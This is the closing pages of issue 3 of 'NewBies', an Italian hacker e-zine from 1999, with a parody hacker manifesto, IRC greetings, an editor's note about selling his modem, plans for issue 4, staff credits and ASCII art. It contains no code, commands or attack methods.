e che ora non e' piu' tra noi.... dovunque tu sia questa e' per te fratello.
_--={ ø(^__^)ø }=--_
Io sono un newbies e questo e' il mio manifesto. Potete anche fermare me, ma
non potete fermarci tutti... dopo tutto, siamo tutti curiosi uguali e con la
stessa voglia di smanettare e di capire.
+++Illo N0bodY88+++ January 16, 1999
Ok ora voglio fare anche io un mega salutone a Dark Schnaider [ complimenti
x il sito ] , Biavo , w00w00 e tutti gli altri amici mirc che frequentemente
vengono sul nostro beneamato canale #hackernow [ grazie di tutto cuore siete
mitici ] . Ah mi dimenticavo una cosa .... Fanculo ai Lamer siete esseri
immondi .... Come sono buono eh..
Io sono un newbies e questo e' il mio manifesto. Potete anche fermare me, ma
almeno aspettate che abbia fermato tutti i lamer di questo universo, dopo
tutto non siamo tutti uguali
ZeroCool
PARZIALE ASSENZA DI N0bodY88
Causa problemi suoi N0bodY88 vi lascia (evviva facciamo festa!!!!).
Ieri ho dovuto vendere il modem x vari motivi quindi le mie mail le andro' a
leggere a casa di qualke amico :-(((
A causa della vendita del modem non potro' + rispondere in giornata a chi mi
scrive (come se prima l'avessi mai fatto...) e forse passera' anke una
settimana; x quanto riguarda gli articoli mandatemeli sempre allo stesso
indirizzo e se avete dei dubbi mandateli a me o a zero cosi' cercheremo
qualcuno che faccia un articolo in proposito x risolvere (almeno parzialmente)
i vs dubbi (se possiamo :-).
Se vedete qualche N0bodY88 che gira su ircnet o su efnet o su parsec-net non
sperateci...non sono io ma sara' qualke bastardo dentro che gira col mio nick!
Per quanto riguarda i prossimi numeri (partendo dall'idea che tanto NewBies 4
uscira' dopo gli esami di maturita' xche' molti del ns Staff sono nei casini x
la matura e altri hanno da fare esami o vogliono riposarsi un attimo) vedranno
nelle vesti dei redattori l'immancabile ZeroCool, io [N0bodY88], e la new
entry N05F3R4TU (che e' ns collaboratore da moooolto tempo ma causa casini
con degli omini vestiti di blu col distintivo, ha dovuto cambiare nick).
Quindi cercate di godervi lentamente questo numero di NewBies xche' passeranno
minimo 2 mesi prima dell'uscita del numero 4 e speriamo di ribeccarci ancora
in rete qualke volta...
PS: se va tutto bene in luglio/agosto mi ricompro un modem quindi :-))))))))))
PSS: se tutto va ancora meglio x NewBies 4 aspettatevi un bel malloppone di
mitici articoli dall'altrettanto mitico Nick1 e poi provate a dirci che
non vi offriamo buoni articoli !!!
Byez
N0bodY88 il newbies
_
_
____
_
| \ | | _____
_| __ )(_) ___ ___
| \| |/ _ \ \ /\ / / _ \| |/ _ Y __|
| |\ | __/\ V V /| |_) | | __|__ \
|_| \_|\___| \_/\_/ |____/|_|\___|___/
Webmaster by --------->
Redattori ------------>
E-zine by ------------>
Ascii by ------------->
Loghi NewBies by ----->
Articoli ------------->
ZeroCool & T0rment0 & _p0nic0_ & HaRLoK & N0bodY88
N0bodY88 & ZeroCool
N0bodY88 & ZeroCool & NewBies Staff
N0bodY88 & |-|15cR4zYm1nD & S0l1t4r10~M4N & 1mGvD
RigoR MorteM
NewBies Staff & Friends
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°ÛÛ°°ÛÛ°ÛÛÛ°ÛÛ°°ÛÛ°°°ÛÛ°°ÛÛ°ÛÛÛÛ°°ÛÛ°ÛÛÛ°ÛÛÛÛ°°°ÛÛÛÛ°ÛÛÛ°°°°Û°°°°°ÛÛÛÛ°ÛÛÛÛ°²
²°ÛÛÛ°ÛÛ°Û°°°°ÛÛ°°ÛÛ°ÛÛ°°ÛÛ°°Û°°°Û°ÛÛ°Û°°°Û°°°°°°Û°°°°°Û°°°°ÛÛÛ°°°°ÛÛ°°°ÛÛ°°°²
²°Û°ÛÛÛÛ°ÛÛ°°°°ÛÛ°°ÛÛÛ°°ÛÛ°°°ÛÛÛÛÛ°ÛÛ°ÛÛ°°ÛÛÛÛ°²°ÛÛÛÛ°°Û°°°ÛÛ°ÛÛ°°°ÛÛÛÛ°ÛÛÛÛ°²
²°Û°°ÛÛÛ°Û°°°°°°ÛÛ°°Û°°ÛÛ°°°°Û°°°Û°ÛÛ°Û°°°°°°Û°°°°°°Û°°Û°°ÛÛÛÛÛÛÛ°°ÛÛ°°°ÛÛ°°°²
²°Û°°°ÛÛ°ÛÛÛ°°°°°ÛÛÛÛÛÛÛ°°°°°ÛÛÛÛ°°ÛÛ°ÛÛÛ°ÛÛÛÛ°°°ÛÛÛÛ°°Û°ÛÛ°°°°°ÛÛ°ÛÛ°°°ÛÛ°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
(se pensate che DOVRESTE essere in questa lista o che NON DOVREBBE figurare
il vs nome fatecelo sapere e vi adderemo o toglieremo subito)
ZeroCool, N0bodY88, The õoul Destroyer, _p0nic0_, +Malattia, [SkinneR],
]Akuma[, ©ipLey, 3uC@50L, 3nN4r0, Aladar, Alby, Alpha-666, AnArChY,
Anti-Social, Ax1s, Avatar666, Barninga Z, Blum, Brigante, Caos83, Caratt,
ChRoMe, Cobra, CrazyCrom, ÑaBat½ha, Dante Alighieri, Darkman, DarkSide,
Dark Schnaider, Devil, DeViLNeT, drwxr-xr-, ElectroRipper, Firebeam, Fitzban,
Fusyllo, Frensis, Fritz, G4m3, Ghimlet, Grays, HaMelIn, HarLoK, Ja[3]Ck,
Jena, Kalidor, KaOsS, Kill3xx, Killex, Linbus, Lopks, LordLion,
Lord Destruction, L0Rd gUF, [mAx], Master, McFly, Meew, Misha, Nemesis,
NeuRaL_NoiSE, Newbie 1.1, Nick1, Nietzsche, N05F3R4TU, P4P3r1_N0, Pinball,
Quequero, RaG3, Rafcrash, Ramesse, Raul, RedXIII, RigoR MorteM, Ron|n,
Rui Deti, Sciaman, Sephy, Skhammer, SoftWord, Sorrow The Prince, S0L1D,
S0rD3/\/_82, S2, SpIRIToZ, SpYmAsTeR, Squarty, StuZzik0, Tetofuck,
The Sciack, T0rment0, Ulntwh99, UnlT, VaFfa, Vecna, Velvet, Vulcan, Yago,
Zelig1, Z3R0, Zinco, ZioFill, w00w00, Wurz.
PS: a causa della mancanza del mio modem, non ho potuto chiedere ad alcuni se
erano d'accordo al far parte del NB Staff quindi se non volete essere
citati nella sopra riportata lista basta che me lo diciate e scusatemi
fin d'ora x questa mia mancanza [ es: +Malattia ]
PSS: speriamo che alla lista si aggiungano sempre + persone che si dedicano
allo studio dei pc, delle reti e dei programmi cosi' da rendere questa
e-zine ancora + interessante con l'apporto dei loro articoli :]
N0bodY88
|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|Fine e-zine:
Ebbene si siamo arrivati alla fine di questo terzo numero! Come al solito se
avete critiche, commenti, migliorie, prese x il culo, speditele all'indirizzo
[email protected] o [email protected] e saremo lieti di rispondere alle vs email
o di mailbombarvo x le vostre offese hihihi...scherzo ovviamente ;)
Ciauz e come diceva l'ultimo dei moicani...."Aspettatemiiiiiiiiiiiiiiiiiiii!"
N0bodY88
Scarica

Newbies 3